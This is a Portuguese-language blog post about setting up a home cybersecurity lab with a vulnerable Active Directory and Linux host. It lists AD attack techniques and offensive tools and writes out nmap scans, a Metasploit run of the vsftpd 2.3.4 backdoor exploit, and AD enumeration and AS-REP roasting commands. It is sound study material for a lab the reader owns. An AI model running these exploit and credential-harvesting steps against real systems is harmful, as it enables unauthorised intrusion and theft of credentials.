Fiz recentemente dois vídeos no canal https://youtube.com/danieldonda ensinando a criar um laboratório de estudo de cibersegurança. Esse laboratório possui muitas funções. Primeiramente, serve para utilizar o sistema e aprender, por exemplo, comandos do Windows, comandos do Linux, além de conhecimentos sobre redes e a comunicação entre máquinas em uma rede. Podemos utilizar as máquinas que foram criadas para instalar sistemas e fazer testes de vulnerabilidade nesses sistemas. É claro que, ao instalarmos uma máquina virtual com Linux contendo muitas vulnerabilidades e deixarmos nosso Windows Server com Active Directory também vulnerável, temos muitas opções de testes. Vou deixar algumas aqui neste artigo.
Ao executar todos passos dos vídeos teremos o seguinte cenário:
- Windows Server 2016 – Active Directory
- Windows 10 – Membro do domínio
- Kali Linux
- Linux Vulnerável
Diagrama do Laboratório
O que você pode fazer ?
Tenha no seu bookmark os seguintes sites:
OWASP para aplicações web, verifique se há alguma vulnerabilidade listada no OWASP Top 10 que se aplique ao serviço em questão.
CVE (Common Vulnerabilities and Exposures) e use ferramentas como a NVD (National Vulnerability Database) para pesquisar por vulnerabilidades específicas dos serviços identificados. Você pode pesquisar por nome de produto ou versão.
MITRE ATT&CK onde podemos entender técnicas de ataque específicas que podem ser usadas contra os serviços que você rodando, especialmente como essas técnicas podem ser aplicadas através das portas abertas.
Parte prática
Estudar comunicação de rede usando o protocolo TCP/IP por exemplo capturar pacotes de TCP para entender o Three-way Handshake.
Basta ligar duas maquinas e usar o Wireshark https://www.wireshark.org/ lembrando que o Wireshark já vem instalado no KALI LINUX
Consulte o artigo abaixo para ajudar a melhorar e aperfeiçoar o uso do Wireshark.
Explorar ataques ao Active Directory
- Abusing ACLs/ACEs
- Kerberoasting
- AS-REP Roasting
- Abuse DnsAdmins
- Password na descrição do objeto
- Usuários com senhas comuns (Changeme123!)
- Password Spraying
- DCSync
- Silver Ticket
- Golden Ticket
- Pass-the-Hash
- Pass-the-Ticket
- SMB Signing Disabled
Testar ferramentas de ataque ao Active Directory
- PowerShell Empire https://github.com/EmpireProject/Empire – Framework (post-exploitation ) que inclui um agente Windows puro PowerShell2.0 e um agente Python 2.6 / 2.7 Linux / OS X puro.
- Sysinternals – https://download.sysinternals.com/files/PSTools.zip Dezenas de ferramentas uteis, mas a numero 1 é a PSexec. Você pode exibir todo o diretório de ferramentas dinâmicas do Sysinternals em um navegador.https://live.sysinternals.com/
- Rubeus – https://github.com/GhostPack/Rubeus – Rubeus é um conjunto de ferramentas C# para interação e abusos de Kerberos brutos.
- MimiKatz – https://github.com/gentilkiwi/mimikatz Ferramenta criada em C para explorar e extrair senhas de texto simples, hash, código PIN e tíquetes Kerberos da memória. mimikatz também pode executar pass-the-hash, pass-the-ticket ou construir Golden tickets .
- Impacket – https://github.com/SecureAuthCorp/impacket é uma coleção de classes Python para trabalhar com protocolos de rede. O psexec.py é um dos muitos exemplos de scripts de teste de penetração super úteis que são distribuídos com o módulo assim como o secretsdump.py
- BloodHound – https://github.com/BloodHoundAD/BloodHound – Ferramenta usada para visualizar ambientes do Active Directory e foi desenhada para encontrar relacionamentos dentro de um domínio do Active Directory (AD) para descobrir caminhos de ataque. BloodHound – Elevação de privilégio no Active Directory
- PowerView – https://github.com/PowerShellMafia/PowerSploit/ – Modulo do PowerSploit usado para auxiliar os testes de penetração durante todas as fases de uma avaliação. PowerView é uma série de funções que executam a enumeração e exploração de domínios de rede e Windows.
- CrackMapExec – https://github.com/Porchetta-Industries/CrackMapExec – Desde a enumeração de usuários logados e o rastreamento de compartilhamentos SMB até a execução de ataques no estilo psexec, injeção automática de Mimikatz/Shellcode/DLL na memória usando o Powershell, despejo do NTDS.dit e muito mais.
- Metasploit – https://github.com/rapid7/metasploit-framework – Solução mais usada para pentest em geral, mas com módulos que permitem explorar vulnerabilidade tanto dos controladores de domínio como quanto ao próprio domínio do Active Directory.
🚨Eu tenho diversos artigos de ataques e defesas para o Active Directory https://danieldonda.com/category/cybersecurity/ad-security
Explorar o Top 10 OWASP
O OWASP Top 10 é reconhecido globalmente como a lista dos dez principais riscos de segurança críticos para aplicações web
https://owasp.org/www-project-top-ten
🚨 A01:2021 – Quebra de Controle de Acesso https://owasp.org/Top10/pt_BR/A01_2021-Broken_Access_Control
- Fatores
- Visão Geral
- Descrição
- Como Prevenir
- Exemplos de Cenários de Ataque
- Referências
- Lista dos CWEs Mapeados
Vídeos
Let’s Hack
A configuração deste nosso laboratório nos permite realizar uma grande quantidade de testes de segurança; são muitas as opções , entretanto escolhi apenas algumas para exemplificar:
Descoberta de Rede
A partir do KALI Executar o NMAP e descobrir os sistemas e portas
nmap <alvo>
– sV: Detecta portas abertas, serviços e versões
-O: Esta opção ativa a detecção de sistema operacional do Nmap.
nmap -sV <alvo>
Exploit VSFTPD 2.3.4
Ainda a partir do KALI vamos rodar o Metasploit
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show option
set RHOST <alvo>
exploit
id
whomai
ls
Enumeração do Active Directory
Vamos iniciar explorando alguns métodos de enumeração do AD, vc pode fazer esse teste usando apenas a maquina com Kali Linux e o Windows Server
nmap -sV <alvo>
Portas que permitem enumeração:
- Porta 139 – O Network Basic Input Output System (NetBIOS)
- Porta 445 – Esta porta é utilizada pelo protocolo SMB (Server Message Block), que é um protocolo mais avançado para compartilhamento de arquivos, impressoras e outras comunicações em rede.
- Porta 389 – Lightweight Directory Access Protocol (LDAP). O LDAP é um protocolo de aplicação utilizado para acessar e gerenciar informações de serviços do Active Directory
Abaixo alguns comando que podem ser valiosos para enumerar o Active Directory
smbclient -L <alvo> -U ' '
rpcclient -U '' -N <alvo>
smbmap -H <alvo>
enum4linux -U <alvo>
ldapsearch-H <alvo> ldap://<alvo> -x -s base namingcontext
ldapsearch -H ldap://<alvo> -x -b "DC=domain,DC=local" '(objectClass=User)' sAMAccountName | grep sAMAccountName
impacket-GetNPUsers -dc-ip <alvo> -request '<domain>'
Excelente conteúdo. Serve como um roadmap de estudos sobre segurança da informação. Parabéns.